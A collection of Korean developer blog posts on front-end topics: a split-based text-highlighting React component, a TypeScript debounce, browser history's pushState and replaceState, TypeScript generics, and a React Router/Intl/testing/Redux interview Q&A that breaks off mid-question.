그러나 여기서 두 가지 몰랐던 사실을 알게 된다.

1. 첫 문자에 seperator 가 동일하게 나올 경우, 앞에 ""가 무조건 나온다.
2. text === seperator 면 결과는 빈 문자열 두개다.

```javascript
const splitResult = '카카오'
splitResult.split('카카오') //  ["", ""]
```

> 문자열에서 separator가 등장하면 해당 부분은 삭제되고 남은 문자열이 배열로 반환됩니다. separator가 등장하지 않거나 생략되었을 경우 배열은 원본 문자열을 유일한 원소로 가집니다. separator가 빈 문자열일 경우, str은 문자열의 모든 문자를 원소로 가지는 배열로 변환됩니다. separator가 원본 문자열의 처음이나 끝에 등장할 경우 반환되는 배열도 빈 문자열로 시작하거나 끝납니다. 그러므로 원본 문자열에 separator 하나만이 포함되어 있을 경우 빈 문자열 두 개를 원소로 가지는 배열이 반환됩니다.

평소에 잘 몰랐던 split의 심오한 철학이 많이 있으니 가서 확인해보는 것도 좋을 듯 하다.

암튼 첫 번째 결과물은 이렇다.

```tsx
const [initial, ...rest] = text.split(highlight)
return (
  <Text>
    {rest.reduce(
      (partialResult, current) => [
        ...partialResult,
        <Text
          key={highlight + current}
          color={highlightColor}
          inlineBlock
          size={fontSize}
          whiteSpace="pre"
        >
          {highlight}
        </Text>,
        current,
      ],
      [initial],
    )}
  </Text>
)
```

[reduce](https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce) 를 활용해서, 처리했다.

근데 어차피, map으로 돌면서 하는게 더 간단하지 않을까 하는 아이디어가 나왔다.

## 결과

```tsx
const initial = text.split(highlight)
return (
  <Text>
    {initial.map((normal, i) =>
      i > 0 ? (
        <>
          <Text
            key={highlight + i.toString()}
            color={highlightColor}
            inlineBlock
            size={fontSize}
            whiteSpace="pre"
          >
            {highlight}
          </Text>
          {normal}
        </>
      ) : (
        <>{normal}</>
      ),
    )}
  </Text>
)
```

`i > 0` 을 처리한 이유는, 어차피 첫번째 엘리먼트는 무조건 하이라이트가 안되는 텍스트가 오기 때문이다! 첫단어가 일치하는 단어라면 ""가 올 것이고, 일치 하지 않는 단어라면 그 단어 그대로 올라오기 때문에 첫번째 단어는 별도처리를 하지 않아도 된다.

그리고 두번째 엘리먼트 부터 해당 text가 있어서 쪼개진 단어가 올것이기 때문에, 앞에 하이라이트 텍스트를 붙여주고, 그 다음 평범한 단어를 붙여주면 된다.
만약 여러 단어에 하이라이팅이 필요하다면, 리스트 사이사이에 검색한 내용을 넣어주면 된다.

---

Source: https://yceffort.kr/2019/10/14/debounce.md
Title: typescript debounce
Description: > Creates a debounced function that delays invoking func until after wait milliseconds have elapsed since the last time the debounced function was invoked. The debounced function comes with a cancel m...
Date: 2019-10-14
Tags: typescript, web-performance

> Creates a debounced function that delays invoking func until after wait milliseconds have elapsed since the last time the debounced function was invoked. The debounced function comes with a cancel method to cancel delayed func invocations and a flush method to immediately invoke them. Provide options to indicate whether func should be invoked on the leading and/or trailing edge of the wait timeout. The func is invoked with the last arguments provided to the debounced function. Subsequent calls to the debounced function return the result of the last func invocation.

[출처](https://lodash.com/docs/4.17.15#debounce)

디바운스는 과다한 이벤트 로직이 실행되는 것을 방지하는 함수로, 호출이 반복되는 동안에는 반복해서 로직이 실행되는 것을 막고, 설정한 시간이 지나고 나서야 로직이 실행하게 하는 함수다.

```typescript
export function debounce<Params extends any[]>(
  func: (...args: Params) => any,
  timeout: number,
): (...args: Params) => void {
  let timer: NodeJS.Timeout
  return (...args: Params) => {
    clearTimeout(timer)
    timer = setTimeout(() => {
      func(...args)
    }, timeout)
  }
}
```

즉, 반복되는 이벤트가 계속해서 실행될 때, 매번 그 이벤트를 실행하는 것이 아니라, timeout 만큼의 시간이 흐른뒤에, 이전의 이벤트를 무시하고 이벤트 하나만 실행하는 것이다.

---

Source: https://yceffort.kr/2019/09/30/handle-browser-history.md
Title: 브라우저 히스토리 조작
Description: 브라우저 히스토리 조작하기
Date: 2019-09-30
Tags: javascript, browser

## 브라우저 히스토리

브라우저의 히스토리는 `window.history`안에 있다.

`History {length: 3, scrollRestoration: "auto", state: null}`

`length`만 가져올 수 있을 뿐, 실제 내부에 리스트는 가져올 수가 없는데 이는 보안상의 문제 때문이다.

`window.history.back()` `window.history.forward()`는 각각 브라우저의 앞으로가기 뒤로 가기와 동일한 역할을 한다.

## 특정 위치로 가기

`window.history.go(n)` 현재 페이지의 index는 0 이라고 볼 수 있다. -1 은 바로 전 페이지, 1 은 다음 페이지라고 볼 수 있다.

## 히스토리 추가 및 변경

### pushState

`window.pushState(state, title, url)`

아래와 같이 한번 사용해보자.

```javascript
history.pushState({hello: 'world'}, 'title', 'hello')
```

현재 있는 페이지 주소창에서 `hello`가 추가되었음을 알 수 있다. 그러나 브라우저는 이를 불러오지도 않고, 해당 주소의 존재여부도 파악하지 않는다. 그저 주소만 바뀐 것이다.

아래 프로세스를 살펴보자.

1. `www.google.com` 접속 -> history: 1
2. `history.pushState({ hello: "world" }, "title", "hello");` 입력 -> 주소창: `google.com/hello` / history: 2
3. `www.naver.com` 접속 -> history: 3
4. 뒤로가기 버튼 클릭
5. `https://www.google.com/hello` 가 404를 띄움 -> history.state에 hello: world 가 있음.
6. 뒤로가기 버튼 클릭
7. `www.google.com` 으로 돌아가지만, 여전히 404

따라서 `pushState`는 history에 새로운 history만을 추가할 뿐, 실질적으로 페이지 이동은 일으키지 않는 다는 것을 볼 수 있다.

#### state

javascript object로, pushState로 새로운 히스토리를 만드는 것과 관련이 있다. 사용자가 새로운 상태로 이동할 때마다, `popState`이벤트가 발생해서, `state`의 사본을 가져온다. 파이어폭스의 경우 640k정도의 데이터를 저장할 수 있으며, 이는 브라우저를 재시작해도 사용할 수 있다. 즉, 해당 history state에서 필요한 값을 넣어두는 용도로 사용하면 좋다.

#### title

현재 파이어폭스나 크롬에서 쓰지 않는 변수로 보인다. state의 명칭을 기록해 두는 용도로 사용하면 될 것 같다.

#### URL

새로운 history의 url을 지정한다. 이 전 예제에서도 봤던 것처럼, 브라우저는 해당 URL을 호출하지 않는다.

어째 돌아가는 모양, 주소는 바뀌지만 url을 로딩하지 않는 다는 것이 `window.location = '#foo'` 와 비슷해 보이는 측면이 있다. 이렇게 쓸모없어보이는 `pushState`는 아래와 같은 장점이 있다.

- `pushState`로 생성한 URL은 현재 URL을 기준으로 한다. 반대로 window.location는 해쉬값을 지정할 경우에만 같은 document에 머물러 있다. (아무튼 URL로딩을 안함)
- URL 변경이 필요 없다면, URL값을 안넣어서 변경을 안해주어도 된다. 반대로 해쉬값 지정의 경우에는 현재 해쉬값과 다른 경우에만 새로운 히스토리를 생성한다.
- `state` 오브젝트로 데이터를 저장할 수 있다. 반면 해쉬는 해쉬값을 활용해야 한다.

### replaceState

`replaceState`는 `pushState`와 동작이 거의 비슷하다. 다만 히스토리를 추가하는 것이 아닌, 덮어 쓴다는 것에서 차이가 있다.

---

Source: https://yceffort.kr/2019/09/19/typescript-generic.md
Title: 타입스크립트 제네릭
Description: ## 제네릭이란 제네릭은 클래스 내부에서 사용하는 데이터의 타입을 외부에서 지정하는 것을 의미한다. 어떤 타입의 데이터를 쓸지를, 클래스 선언부가 아니라 외부에서 결정하는 것이다. 일단 자바 코드로 한번 살펴보자.  ```java class Person<T>{     public T name; }  Person<String> p1 = new Person<...
Date: 2019-09-20
Tags: typescript

## 제네릭이란

제네릭은 클래스 내부에서 사용하는 데이터의 타입을 외부에서 지정하는 것을 의미한다. 어떤 타입의 데이터를 쓸지를, 클래스 선언부가 아니라 외부에서 결정하는 것이다. 일단 자바 코드로 한번 살펴보자.

```java
class Person<T>{
    public T name;
}

Person<String> p1 = new Person<String>();
Person<StringBuilder> p1 = new Person<StringBuilder>();
```

`T`라는 데이터 타입은 존재하지 않는다. `T`는 name의 타입으로, 아래 처럼 Person을 사용하는 곳에서 정해진다. 따라서 `string`이 될수도, `stringbuilder`가 될수도 있는 것이다.

하지만 자바스크립트에서는 제네릭을 쓸일이 없다. 타입이 없기 때문에, 타입에 맞지 않는 코딩을 한다면 런타임에서 에러가 발생한다. 하지만 타입스크립트는 정적타입 언어이기 때문에 제네릭이 필요하게 되었다.

### any를 그냥 쓰면 안되나?

아래 코드를 살펴보자.

```typescript
class School {
  private students: any[] = []

  constructor() {}

  go(student: any): void {
    this.students.push(student)
  }

  bye(): void {
    this.students.pop()
  }
}
```

```typescript
const school = new School()
stack.push('라이오넬 멧시')
stack.push(10)
stack.pop().substring(0)
stack.pop().substring(0) // 에러
```

`string`에 이어서 `number`도 일일이 대응하기 위해서는 `any`를 쓰거나, 상속을 받아야 할 것이다.

### typescript 문법

```typescript
class School<T> {
  private students: T[] = []

  constructor() {}

  go(student: T): void {
    this.students.push(student)
  }

  bye(): T {
    return this.students.pop()
  }
}
```

`<T>`는 제네릭을 의미하며, 그안에 타입으로 사용될 `T`를 넣었다. 다른 문자도 되지만, 대게는 `T`를 쓰고 `Type Variables`라고 한다.

```typescript
const numberSchool = new School<number>()
const stringSchool = new School<string>()
const stringSchool = new School<boolean>()
```

이제 각각의 타입이 선언되어 사용될 수 가 있다.

### 함수에 써보기

다양한 타입의 array를 받아서 그 array의 첫번째를 리턴하는 함수를 만든다고 가정해보자. any를 사용한다면

```typescript
function returnFirstItem(items: any[]): any {
  return items[0]
}
```

하지만 제네릭을 쓴다면

```typescript
function returnFirstItem<T>(items: T[]): T {
  return items[0]
}

returnFirstItem < number > [0, 1, 2, 3]
```

이 된다.

### 여러개 Generic

```typescript
function multipleGeneric<T, U>(a1: T, a2: U): [T, U] {
  return [a1, a2]
}

multipleGeneric<string, boolean>('true', true)
```

### rest에서 제네릭

```typescript
interface XYZ {
  x: any
  y: any
  z: any
}

function dropXYZ<T extends XYZ>(obj: T) {
  let {x, y, z, ...rest} = obj
  return rest
}
```

객체에서 x, y, z를 빼다가 나머지를 리턴하는 함수이다. 객체에서 x, y, z가 없다면 컴파일 단계에서 에러가 날 것이고, x, y, z 가 있다면 어떤 타입이든 상관없이 x, y, z를 제거하고 리턴해줄 것이다.

만약 x, y, z가 없는 리턴타입까지 정확하게 명사히고 싶다면 이런 짓도 가능하다.

```typescript
interface XYZ {
  x: any
  y: any
  z: any
}

// Pick<T, a>는 T에서 a만 받는 다는 것이다
// Exclude<keyof T, keyof XYZ>는 앞에 타입에서 뒤에 있는 타입을 제외해준다.
type DropXYZ<T> = Pick<T, Exclude<keyof T, keyof XYZ>>

function dropXYZ<T extends XYZ>(obj: T): DropXYZ<T> {
  let {x, y, z, ...rest} = obj
  return rest
}
```

conditional types에 대해서도 알아봐야 겠다.

---

Source: https://yceffort.kr/2019/08/21/reactjs-interview-questions-2.md
Title: 리액트 면접 질문 모음 (2)
Description: [목차](/2019/08/13/reactjs-interview-questions/) # table of contents  ```toc tight: true, from-heading: 2 to-heading: 3 ```  ## React Router  ### What is React Router?  React Router는 리액트 최상단에 있는 강력한 라우...
Date: 2019-08-21
Tags: react, redux, testing

[목차](/2019/08/13/reactjs-interview-questions/)

## Table of Contents

## React Router

### What is React Router?

React Router는 리액트 최상단에 있는 강력한 라우팅 라이브러리로, 페이지에 보여주는 내용과 URL사이에 동기화를 유지해주고, 애플리케이션에 새로운 화면과 흐름을 추가할 수 있도록 도와준다.

### How React Router is different from history library?

React router는 history라이브러리를 감싼 래퍼로, 브라우저의 `window.history`와 상호작용하고, 브라우저 및 해쉬의 히스토리를 다룬다. 또한 모바일 앱 개발 (React Native) 및 Node의 unit testing처럼 global histroy가 없는 환경에 유용한 메모리 히스토리를 제공한다.

### What are the `<Router>` components of React Router v4?

v4는 새로운 3개의 `<Router>` 컴포넌트를 제공한다.

1. `<BrowserRouter>`
2. `<HashRouter>`
3. `<MemoryRouter>`

위 컴포넌트는 각각 브라우저, 해쉬, 메모리 히스토리 인스턴스를 만들어준다. React Router v4는 Router Object의 context를 통해, history 인스턴스의 속성과 메소드를 활용할 수 있게 해준다.

### What is the purpose of `push()` and `replace()` methods of `history`?

히스토리 인스턴스에는 네비게이션 목적으로 두개의 메소드를 제공한다.

1. `push()`
2. `replace()`

만약 히스토리가 방문했던 곳들의 배열이라고 생각한다면, `push()`가 그 역할을 할 것이고, 현재 위치를 덮어쓰는 느낌을 원한다면 `replace()`가 맞을 것이다.

### How do you programmatically navigate using React Router v4?

Component 내에서 프로그래밍으로 라우팅/네비게이팅 하는 방법에는 3가지가 있다.

1. HOF에서 `withRouter()`를 쓰는법
   HOF의 `withRouter()`는 컴포넌트의 prop에 히스토리 오브젝트를 인젝트 한다. 이 오브젝트는 `push()` `replace()`를 제공하여 context의 사용을 피하게 해준다.

```javascript
import {withRouter} from 'react-router-dom' // this also works with 'react-router-native'

const Button = withRouter(({history}) => (
  <button
    type="button"
    onClick={() => {
      history.push('/new-location')
    }}
  >
    {'Click Me!'}
  </button>
))
```

2. `<Route>` 컴포넌트와 render props 패턴을 사용하는 법
   `<Route>`는 `withRouter()`와 같은 props를 넘기므로, history prop을 통해 histoy 메서드에 접근할 수 있을 것이다.

```javascript
import {Route} from 'react-router-dom'

const Button = () => (
  <Route
    render={({history}) => (
      <button
        type="button"
        onClick={() => {
          history.push('/new-location')
        }}
      >
        {'Click Me!'}
      </button>
    )}
  />
)
```

3. Context
   이 방식은 딱히 추천되지 않고, 불안정한 API 활용으로 간주된다.

```javascript
const Button = (props, context) => (
  <button
    type="button"
    onClick={() => {
      context.history.push('/new-location')
    }}
  >
    {'Click Me!'}
  </button>
)

Button.contextTypes = {
  history: React.PropTypes.shape({
    push: React.PropTypes.func.isRequired,
  }),
}
```

### How to get query parameters in React Router v4?

수년간 다른 구현 지원에 대한 사용자들의 많은 요청 때문에, React Router v4에서는 query string을 parsing 하는 방법은 사라졌다. 이는 유저가 원하는 대로 구현할 수 있는 자유도를 주었다. 추천하는 방법은, query string 라이브러리를 사용하는 것이다.

```javascript
const queryString = require('query-string')
const parsed = queryString.parse(props.location.search)
```

native 방식을 선호한다면 `URLSearchParam`을 사용할 수도 있다.

```javascript
const params = new URLSearchParams(props.location.search)
const foo = params.get('name')
```

다만 IE11에서는 폴리필이 필요하다.

### Why you get "Router may have only one child element" warning?

Route는 `<Switch>` 블록으로 감싸줘야 하는데, 왜냐하면 `<Switch>`는 라우트를 베타적으로 감싸기 때문이다. 먼저 `Switch`를 임포트 해야 한다.

```javascript
import {Switch, Router, Route} from 'react-router'
```

그리고 route를 `<Switch>` 블록에 넣어햐 한다.

```html
<Router>
  <Switch> <Route {/* ... */} /> <Route {/* ... */} /> </Switch>
</Router>
```

### How to pass params to `history.push` method in React Router v4?

history 객체에 props를 보낼 수 있다.

```javascript
this.props.history.push({
  pathname: '/template',
  search: '?name=sudheer',
  state: {detail: response.data},
})
```

`search` 속성은 `push()`에서 query param을 보낼 때 사용된다.

### How to implement _default_ or _NotFound_ page?

`<Switch>`는 첫번째로 일치하는 `<Route>`를 렌더링한다. path가 없는 route는 항상 매치하게 되어 있다. 따라서, path를 제거한 route를 하나 추가하면 된다.

```javascript
<Switch>
  <Route exact path="/" component={Home} />
  <Route path="/user" component={User} />
  <Route component={NotFound} />
</Switch>
```

### How to get history on React Router v4?

1. history 오브젝트를 익스포트 하는 모듈을 만들고, 프로젝트 전체에서 해당 모듈을 임포트 한다. 예를들어,

```javascript
import {createBrowserHistory} from 'history'

export default createBrowserHistory({
  /* pass a configuration object here if needed */
})
```

2. 빌트인 라우터 대신에, `<Router>` 컴포넌트를 쓴다. 위에서 만든 `history.js`를 `index.js`에 임포트 한다.

```javascript
import {Router} from 'react-router-dom'
import history from './history'
import App from './App'

ReactDOM.render(
  <Router history={history}>
    <App />
  </Router>,
  holder,
)
```

3. 빌트인 히스토리 오브젝트와 비슷하게, history의 push메소드를 쓸수도 있다.

```javascript
// some-other-file.js
import history from './history'

history.push('/go-here')
```

### How to perform automatic redirect after login?

`react-router`sms `<Redirect>` 컴포넌트를 제공한다. `<Redirect>`를 렌더링 하면 새로운 위치로 이동하게 된다. 서버사이드 리다이렉트와 마찬가지로, 새로운 위치는 현재 히스토리 스택에 있는 현재 위치를 덮어쓰게 된다.

```javascript
import React, {Component} from 'react'
import {Redirect} from 'react-router'

export default class LoginComponent extends Component {
  render() {
    if (this.state.isLoggedIn === true) {
      return <Redirect to="/your/redirect/page" />
    } else {
      return <div>{'Login Please'}</div>
    }
  }
}
```

## React Internationalization

### What is React Intl?

React Intl string, dates, numbers, 복수 표현 등을 다국어로 포맷팅할 수 있는 컴포넌트와 API를 제공한다. React Intl는 components 와 API 를 바탕으로 Reac를 바인딩하는 FormatJS 의 일부분이다.

### What are the main features of React Intl?

1. 숫자를 , 와 함께 표현
2. 날짜와 시간을 올바르게 표현
3. 현재시간을 기준으로 날자를 표현
4. string의 복수표현
5. 150+개의 언어 지원
6. 브라우저와 노드에서 실행
7. 표준에 맞춰 제작

### What are the two ways of formatting in React Intl?

string, number, date를 포맷팅하는 방법은 react 컴포넌트 또는 api를 사용하는 두가지 방법이 있다.

```jsx
<FormattedMessage
  id={'account'}
  defaultMessage={'The amount is less than minimum balance.'}
/>
```

```javascript
const messages = defineMessages({
  accountMessage: {
    id: 'account',
    defaultMessage: 'The amount is less than minimum balance.',
  },
})

formatMessage(messages.accountMessage)
```

### How to use `<FormattedMessage>` as placeholder using React Intl?

`<Formatted... />` 컴포넌트는 plain text가 아닌 elements를 반환하므로, placeholder, alt text처럼 string이 필요한 곳에는 쓸 수 없다. 따라서 여기에서는 `formatMessage()`를 사용해야한다. higher-order component인 injectIntl()을 사용하여, 컴포넌트에 intl 객체를 주입하고, 객체에서 사용할 수 있는 `formatMessage()`를 사용하여 message를 포맷팅할 수 있다.

```jsx
import React from 'react'
import {injectIntl, intlShape} from 'react-intl'

const MyComponent = ({intl}) => {
  const placeholder = intl.formatMessage({id: 'messageId'})
  return <input placeholder={placeholder} />
}

MyComponent.propTypes = {
  intl: intlShape.isRequired,
}

export default injectIntl(MyComponent)
```

### How to access current locale with React Intl?

어느 애플리케이션에서든 `injectIntl()`를 사용하면 현재 로케일을 얻을 수 있다.

### How to format date using React Intl?

higher-order 컴포넌트 `injectIntl()`는 컴포넌트의 props에 `formatDate()`메서드를 제공한다. 이 메서드는 내부적으로 `FormattedDate`인스턴스를 활용하고, 이는 포맷된 날짜를 string으로 제공한다.

```jsx
import {injectIntl, intlShape} from 'react-intl'

const stringDate = this.props.intl.formatDate(date, {
  year: 'numeric',
  month: 'numeric',
  day: 'numeric',
})

const MyComponent = ({intl}) => (
  <div>{`The formatted date is ${stringDate}`}</div>
)

MyComponent.propTypes = {
  intl: intlShape.isRequired,
}

export default injectIntl(MyComponent)
```

## React Testing

### What is Shallow Renderer in React testing?

`Shallow rendering`는 React에서 유닛테스트 케이스를 작성할 때 유용하다. 이는 컴포넌트를 한단계 더 깊이 렌더링하며, 렌더링되지 않은 하위 컴포넌트에 대한 고민 없이 렌더링 메서드가 반환하는 것에 대해 asset를 수행할 수 있다.

```jsx
function MyComponent() {
  return (
    <div>
      <span className={'heading'}>{'Title'}</span>
      <span className={'description'}>{'Description'}</span>
    </div>
  )
}
```

```javascript
import ShallowRenderer from 'react-test-renderer/shallow'

const renderer = new ShallowRenderer()
renderer.render(<MyComponent />)

const result = renderer.getRenderOutput()

expect(result.type).toBe('div')
expect(result.props.children).toEqual([
  <span className={'heading'}>{'Title'}</span>,
  <span className={'description'}>{'Description'}</span>,
])
```

### What is `TestRenderer` package in React?

`TestRenderer` 패키지는 component 를 DOM 또는 Native mobile 환경에 의존없이 순수 Javascript Object 로 렌더링 할 수 있는 renderer 를 제공한다. 이 패키지를 사용하면 브라우저 또는 jsdom 의 사용없이 ReactDOM 또는 React Native 에서 렌더링 되는 플랫폼의 뷰 계층구조 (DOM 트리와 유사) 의 스냅샷을 쉽게 가져올 수 있다.

```jsx
import TestRenderer from 'react-test-renderer'

const Link = ({page, children}) => <a href={page}>{children}</a>

const testRenderer = TestRenderer.create(
  <Link page={'https://www.facebook.com/'}>{'Facebook'}</Link>,
)

console.log(testRenderer.toJSON())
// {
//   type: 'a',
//   props: { href: 'https://www.facebook.com/' },
//   children: [ 'Facebook' ]
// }
```

### What is the purpose of ReactTestUtils package?

`ReactTestUtils`는 유닛테스트를 목적으로 DOM을 조작할 수 있는 `with-addons`패키지를 제공한다.

### What is Jest?

Jest는 페이스북이 만든 자바스크립트 유닛테스트 프레임워크로, Jasmine을 기반으로 만들어 졌으며 자동 mock 생성, `jsdom` 환경 제공 등의 기능을 제공한다. 컴포넌트를 테스트 하는데 사용 된다.

### What are the advantages of Jest over Jasmine?

Jasmine보다 Jest가 더 좋은 점은

- 소스코드에서 자동으로 테스트 코드를 찾아서 테스트
- 테스트 시 자동으로 mock 의 존성 참고
- 동기로 작성된 코드를 비동기로 테스트
- fake Dom implementation으로 테스트 하여, 명령줄에서도 테스트 가능
- 병렬 프로세스로 테스트 하여 테스트가 더욱 빠르게 수행됨

### Give a simple example of Jest test case

두 숫자를 더하는 `sum.js`를 작성한다.

```javascript
const sum = (a, b) => a + b
export default sum
```

테스트를 수행하는 `sum.test.js`를 작성

```javascript
import sum from './sum'

test('adds 1 + 2 to equal 3', () => {
  expect(sum(1, 2)).toBe(3)
})
```

`package.json`에 테스트를 실행하는 코드 추가

```json
{
  "scripts": {
    "test": "jest"
  }
}
```

`yarn test` `npm test`로 테스트 실행 및 결과 확인

```shell
$ yarn test
PASS ./sum.test.js
✓ adds 1 + 2 to equal 3 (2ms)
```

## React Redux

### What is flux?

Flux는 애플리케이션 디자인 패러다임으로, 전통적인 모델인 MVC pattern을 대체하기 위해 나왔다. Flux는 프레임워크나 라이브러리가 아닌, React와 양방향 데이터 흐름을 기반으로 하는 새로운 아키텍쳐다. 페이스북이 React를 사용할 때 내부적으로 이 패턴을 활용한다.

dispatcher, sotres, views 컴포넌트 사이 작업흐름은 아래처럼 input과 output이 구별되어 나타난다.

![flux-diagram](https://github.com/sudheerj/reactjs-interview-questions/raw/master../../../images/flux.png)

### What is Redux?

Redux는 flux 디자인 패턴을 기반으로 한 자바스크립트 앱의 예측가능한 state container다. Redux는 React또는 다른 어떤 뷰 라이브러리와 함께 사용할 수 있다. Redux는 크기가 매우 작고 (2kb), 다른 디펜던시를 갖고 있지 않다.

### What are the core principles of Redux?

Redux는 다음 세가지 기본 원칙을 가지고 있다.

1. 신뢰할 수 있는 단일 출처: 애플리케이션의 state는 단일 store에 객체트리 형태로 저장되어 있다. 단일 state tree는 변화를 쉽게 추적할 수 있게 해주며, 애플리케이션을 디버그하고 검사하는 것을 쉽게 만들어 준다.
2. state는 읽기 전용: state를 변경할 수 있는 방법은 단한가지로, 객체가 어떤 일이 일어났는지 묘사하는 액션을 보내는 것이다. 이는 views나 네트워크 콜백이 직접 state를 수정하지 않도록 한다.
3. 변화는 순수 함수로만 이루어진다: 액션별로 state 트리가 어떻게 변화하는지 명세하기 위해, reducer를 사용해야 한다.

### What are the downsides of Redux compared to Flux?

Flux와 비교했을 때, Redux는 몇가지 단점을 가지고 있다.

1. 변이를 피하는 법을 배워야 한다: Flux는 데이터 변이에 대해 특별한 의견이 없지만, Redux는 데이터 변이를 선호하지 않으며, 다른 추가 보완 패키지를 활용하여 이를 유지한다. dev-only 패지지인 `redux-immutable-state-invariant`나 `Immutable.js`를 활용하거나, 팀원들에게 변이 없는 코드에 대해 방법론을 확산해야 한다.
2. 패키지를 고를때 신중해진다: Flux는 undo/redo, 지속성, 폼 관련 문제에 대해 무관심하지만, Redux 는 미들웨어 및 Store 개선 등 확장된 포인트들을 가지고 풍부한 생태계를 만들어 냈기 때문에, 패키지 선택에 주의가 필요하다.
3. 타입체크: Flux는 정적 타입 체크를 할 수 있는 방법이 있지만, Redux는 아직 지원하고 있지 않다.

### What is the difference between `mapStateToProps()` and `mapDispatchToProps()`?

`mapStateToProps()`는 컴포넌트에서 다른 컴포넌트에 의해 업데이트된 state를 가져올수 있도록 도와주는 유틸리티다.

```javascript
const mapStateToProps = (state) => {
  return {
    todos: getVisibleTodos(state.todos, state.visibilityFilter),
  }
}
```

`mapDispatchToProps()`는 컴포넌트가 이벤트를 발생시킬 수 있도록 도와주는 유틸리티다. (이 이벤트는 애플리케이션의 state에 변화를 가져올 수 있음)

```javascript
const mapDispatchToProps = (dispatch) => {
  return {
    onTodoClick: (id) => {
      dispatch(toggleTodo(id))
    },
  }
}
```

`mapDispatchToProps`에서는 항상 객체를 파라미터로 보내기를 권장한다.

Redux는 `(…args) => dispatch(onTodoClick(…args))`와 같은 형태의 다른 함수로 감싸고, 이렇게 감싼 함수를 컴포넌트의 prop로 전달한다.

```javascript
const mapDispatchToProps = {
  onTodoClick,
}
```

### Can I dispatch an action in reducer?

Reducer안에서 액션을 보내는 것은 안티패턴이다. Reducer는 사이드이펙트를 최소화 하기 위하여, 단순히 액션에 대한 처리와 새로운 state를 가진 object를 반환하기만 해야 한다. Reducer내에서 리스너를 달고, 액션을 보내는 것은 다른 액션과 연쇄작용을 일으킬 수도 있으며, 사이드 이펙트를 야기할 수도 있다.

### How to access Redux store outside a component?

`createStore()`로 만들어진 모듈을 export 하면 된다. 그리고 global 객체인 window를 사용해서는 안된다.

```javascript
store = createStore(myReducer)

export default store
```

### What are the drawbacks of MVW pattern?

1. DOM 조작은, 많은 비용을 지불해야 하고, 애플리케이션을 느리고 비효율적으로 만든다.
2. 순환 참조로 인해, 복잡한 모델이 모델과 뷰주변에 만들어질 수 있다.
3. 구글 docs와 같은 협업 애플리케이션에서는 많은 양의 데이터 변경이 일어날 수 있다.
4. 추가적으로 많은 코드를 쓰지 않고 undo를 쉽게 할 수 없다.

### Are there any similarities between Redux and RxJS?

두 라이브러리는 목적부터 완전히 다르지만, 약간의 비슷한점을 가지고있다.

Redux는 애플리케이션 전반에서 state를 관리할 수 있게 도와주는 툴이다. 이는 보통 UI 아키텍쳐에서 많이 사용된다. Angular의 대체재라고 볼 수 있다. 반면 Rxjs는 반응형 프로그래밍 라이브러리다. RxJS는 자바스크립트에서 비동기 작업을 수행하기 위해 사용된다. Promise의 대체재라고 볼 수있다. Redux는 Store가 반응형이기 때문에 반응형 패러다임을 사용한다. Store는 액션을 어느정도 거리에서 관찰하다가, 스스로 변화한다. RxJS 또한 반응형 패러다임을 사용하는 반면, 아키텍쳐를 제공하지 않고 Observable 과 같은 블록을 제공한다.

### How to dispatch an action on load?

`componentDidMount()`와 `render()`메서드에서 데이터를 확인하는 액션을 전달할 수 있고 데이터를 확인할 수 있다.

```jsx
class App extends Component {
  componentDidMount() {
    this.props.fetchData()
  }

  render() {
    return this.props.isLoaded ? (
      <div>{'Loaded'}</div>
    ) : (
      <div>{'Not Loaded'}</div>
    )
  }
}

const mapStateToProps = (state) => ({
  isLoaded: state.isLoaded,
})

const mapDispatchToProps = {fetchData}

export default connect(mapStateToProps, mapDispatchToProps)(App)
```

### How to use `connect()` from React Redux?

container에서 store를 사용하기 위해서는 아래 두단계를 따라야 한다.

1. `mapStateToProps()`를 사용: state의 값을 props에서 지정한 store에 맵핑시킨다.
2. 위 props를 Container 와 연결: `mapStateToProps()`에 의해 리턴되는 객체들은 컨테이너와 연결된다. 이를 `react-redux`의 `connect`로 import 할 수 있다.

```jsx
import React from 'react'
import {connect} from 'react-redux'

class App extends React.Component {
  render() {
    return <div>{this.props.containerData}</div>
  }
}

function mapStateToProps(state) {
  return {containerData: state.data}
}

export default connect(mapStateToProps)(App)
```

### How to reset state in Redux?

`combineReducers()`로 생성된 reducer 에게 action 을 위임하도록 application 단에서 root reducer 를 작성해야 한다.

예를 들어, `USER_LOGOUT` 액션에 초기 state값을 리턴하는 `rootReducer()`를 예로 들어보자. 알다시피, reducer는 action에 상관없이 첫 번째 매개변수가 undefined로 호출된다면, 초기 상태값을 반환한다.

```javascript
const appReducer = combineReducers({/* your app's top-level reducers */})

const rootReducer = (state, action) => {
  if (action.type === 'USER_LOGOUT') {
    state = undefined
  }

  return appReducer(state, action)
}
```

`redux-persist`를 사용하는 경우, 스토리지를 비워야 할 수도 있다. `redux-persist`에서는 스토리지 안진에 있는 state의 사본을 보관해둔다. 먼저, 적절한 스토리지 엔진을 임포트 한다음, 상태를 undefined로 설정하기 전에 storage state key를 비워주어야 한다.

### Whats the purpose of `at` symbol in the Redux connect decorator?

`@`는 자바스크립트에서 데코레이터를 나타낼 때 쓰는 표현식이다. 데코레이터는 class와 속성에 주석을 달고, 이를 수정할 수 있게 해준다.

데코레이터가 없는 redux를 예로 들어보자.

```javascript
import React from 'react'
import * as actionCreators from './actionCreators'
import {bindActionCreators} from 'redux'
import {connect} from 'react-redux'

function mapStateToProps(state) {
  return {todos: state.todos}
}

function mapDispatchToProps(dispatch) {
  return {actions: bindActionCreators(actionCreators, dispatch)}
}

class MyApp extends React.Component {
  // ...define your main app here
}

export default connect(mapStateToProps, mapDispatchToProps)(MyApp)
```

```javascript
import React from 'react'
import * as actionCreators from './actionCreators'
import {bindActionCreators} from 'redux'
import {connect} from 'react-redux'

function mapStateToProps(state) {
  return {todos: state.todos}
}

function mapDispatchToProps(dispatch) {
  return {actions: bindActionCreators(actionCreators, dispatch)}
}

@connect(mapStateToProps, mapDispatchToProps)
export default class MyApp extends React.Component {
  // ...define your main app here
}
```

위 예제는 데코레이터를 사용한 것을 제외하고는 비슷하다. 데코레이터는 아직 자바스크립트 런타임에 구현되어 있지 않다. 여전히 실험적인 내용이기 때문에 수정될 여지가 있다. 바벨을 사용하면 이 데코레이터를 쓸 수 있다.

### What is the difference between React context and React Redux?

Context는 애플리케이션에서 다이렉트로 사용할 수 있으며, 깊게 중첩된 컴포넌트에 데이터를 전달하는데 유용하다. 반면 Redux는 훨씬 더 강력하며, Context API가 제공하지 않는 기능을 제공한다. 또한, React Redux 는 내부적으로 context를 활용하지만, public api에 공개하지는 않는다.

### Why are Redux state functions called reducers?

